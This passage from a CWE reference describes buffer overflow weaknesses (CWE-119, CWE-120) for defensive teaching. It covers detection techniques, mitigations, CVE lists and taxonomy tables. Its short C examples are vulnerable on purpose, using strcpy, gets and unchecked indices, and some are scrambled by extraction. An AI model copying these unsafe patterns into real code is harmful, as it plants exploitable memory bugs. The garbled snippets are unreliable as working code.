DoS: resource consumption (memory)
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality
Read memory
In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.
Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
   Binary / Bytecode Quality Analysis
   Bytecode Weakness Analysis - including disassembler + source code weakness analysis
   Binary Weakness Analysis - including disassembler + source code weakness analysis
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
- Source Code Quality Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:
```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);

    // The following code copies the hostname into the buffer.
    strcpy(hostname, hp->h_name);
    // Further code to use the hostname...
}
```
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**
This example applies an encoding procedure to an input string and stores it into a buffer.

**C Example:**

```c
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if (+'&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    } else if ('<' == user_supplied_string[i] ){ /* encode to < */
    } else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

**Example 3:**
The following example asks a user for an offset into an array to select an item.

**C Example:**

```c
int main (int argc, char **argv) {
  char *items[] = {"boat", "car", "truck", "train"};
  int index = GetUntrustedOffset();
  printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Example 4:**
In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

**C Example:**

```c
int getValueFromArray(int *array, int len, int index) {
  int value;
  // check that the array index is less than the maximum
  // length of the array
  if (index < len) {
```
// get the value at the specified index of the array
value = array[index];

// if array index is invalid then output error message
// and return value indicating error
else {
    printf("Value is: \%d\n", array[index]);
    value = -1;
}
return value;

However, this method only verifies that the given array index is less than the maximum length of
the array but does not check for the minimum value (CWE-839). This will allow a negative value
to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and
may allow access to sensitive memory. The input array index should be checked to verify that it
is within the maximum and minimum range required for the array (CWE-129). In this example the if
statement should be modified to include a minimum range check, as shown below.

C Example:

...  
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-4113</td>
<td>OS kernel trusts userland-supplied length value, allowing reading of sensitive information</td>
</tr>
<tr>
<td>CVE-2009-0191</td>
<td>chain: malformed input causes dereference of uninitialized memory</td>
</tr>
<tr>
<td>CVE-2009-0269</td>
<td>chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.</td>
</tr>
<tr>
<td>CVE-2009-0558</td>
<td>attacker-controlled array index leads to code execution</td>
</tr>
<tr>
<td>CVE-2009-0566</td>
<td>chain: incorrect calculations lead to incorrect pointer dereference and memory corruption</td>
</tr>
<tr>
<td>CVE-2009-0689</td>
<td>large precision value in a format string triggers overflow</td>
</tr>
<tr>
<td>CVE-2009-0690</td>
<td>negative offset value leads to out-of-bounds read</td>
</tr>
<tr>
<td>CVE-2009-1350</td>
<td>product accepts crafted messages that lead to a dereference of an arbitrary pointer</td>
</tr>
<tr>
<td>CVE-2009-1528</td>
<td>chain: lack of synchronization leads to memory corruption</td>
</tr>
<tr>
<td>CVE-2009-1532</td>
<td>malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption</td>
</tr>
<tr>
<td>CVE-2009-2403</td>
<td>Heap-based buffer overflow in media player using a long entry in a playlist</td>
</tr>
<tr>
<td>CVE-2009-2550</td>
<td>Classic stack-based buffer overflow in media player using a long entry in a playlist</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language’s interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Architecture and Design

Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.
This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation

Compilation or Build Hardening

Defense in Depth
Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.
For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:
Double check that your buffer is as large as you specify.
When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Operation

Environment Hardening

Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].
This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Environment Hardening

Defense in Depth
Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].
This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Implementation**

**Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>726</td>
<td>OWASP Top Ten 2004 Category A5 - Buffer Overflows</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>128</td>
<td>Wrap-around Error</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>680</td>
<td>Integer Overflow to Buffer Overflow</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>787</td>
<td>Out-of-bounds Write</td>
<td>699</td>
</tr>
</tbody>
</table>
### CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
<td>1212</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td>1234</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td>1254</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td>1256</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
<td>1257</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>1259</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td>1283</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>843</td>
<td>Access of Resource Using Incompatible Type (‘Type Confusion’)</td>
<td>1291</td>
</tr>
</tbody>
</table>

**Affected Resources**
- Memory

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A5</td>
<td>Exact</td>
<td>Buffer Overflows</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR00-C</td>
<td></td>
<td>Understand how arrays work</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR33-C</td>
<td></td>
<td>Guarantee that copies are made into storage of sufficient size</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR34-C</td>
<td></td>
<td>Ensure that array types in expressions are compatible</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ARR35-C</td>
<td></td>
<td>Do not allow loops to iterate beyond the end of an array</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV01-C</td>
<td></td>
<td>Do not make assumptions about the size of an environment variable</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO37-C</td>
<td></td>
<td>Do not assume character data has been read</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM09-C</td>
<td></td>
<td>Do not assume memory allocation routines initialize memory</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR31-C</td>
<td></td>
<td>Guarantee that storage for strings has sufficient space for character data and the null terminator</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR32-C</td>
<td></td>
<td>Null-terminate byte strings as required</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR33-C</td>
<td></td>
<td>Size wide character strings correctly</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR00-CPP</td>
<td></td>
<td>Understand when to prefer vectors over arrays</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR30-CPP</td>
<td></td>
<td>Guarantee that array and vector indices are within the valid range</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR33-CPP</td>
<td></td>
<td>Guarantee that copies are made into storage of sufficient size</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ARR35-CPP</td>
<td></td>
<td>Do not allow loops to iterate beyond the end of an array or container</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR31-CPP</td>
<td></td>
<td>Guarantee that storage for character arrays has sufficient space for character data and the null terminator</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR32-CPP</td>
<td></td>
<td>Null-terminate character arrays as required</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM09-CPP</td>
<td></td>
<td>Do not assume memory allocation routines initialize memory</td>
</tr>
</tbody>
</table>

---

**Notes:**
- CWE Version 2.11
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120 (Weakness Base) Status: Incomplete

Description

Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is
the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Alternate Terms
buffer overrun
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer

Terminology Notes
Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
• Assembly

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.
CWE Version 2.11
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

**Example 1:**

C Example:
```c
char last_name[20];
printf("Enter your last name: ");
scanf("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

**Example 2:**

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

C Example:
```c
void manipulate_string(char* string){
    char buf[24];
    strcpy(buf, string);
    ... }
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous `strcpy()` function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

**Example 3:**

The excerpt below calls the `gets()` function in C, which is inherently unsafe.

C Example:
```c
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
... }
```

However, the programmer uses the function `gets()` which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

**Example 4:**

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the `gethostbyaddr` method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

C/C++ Example:
```c
... struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
... // accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ... close(clientsocket);
    }
}
close(serversocket);
```
However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0046</td>
<td>buffer overflow in local program using long environment variable</td>
</tr>
<tr>
<td>CVE-2000-1094</td>
<td>buffer overflow using command with long argument</td>
</tr>
<tr>
<td>CVE-2001-0191</td>
<td>By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.</td>
</tr>
<tr>
<td>CVE-2002-1337</td>
<td>buffer overflow in comment characters, when product increments a counter for a &quot;&quot;&gt;&quot; but does not decrement for &quot;&lt;&quot;</td>
</tr>
<tr>
<td>CVE-2003-0595</td>
<td>By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Requirements

**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation**

**Compilation or Build Hardening**

**Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

- Double check that your buffer is as large as you specify.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Implementation
Input Validation
Assume all input is malicious. Use an “accept known good” input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, “boat” may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as “red” or “blue.” Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Environment Hardening
Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a program’s executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14]. This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Build and Compilation
Operation
Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Implementation
Moderate
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available. This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
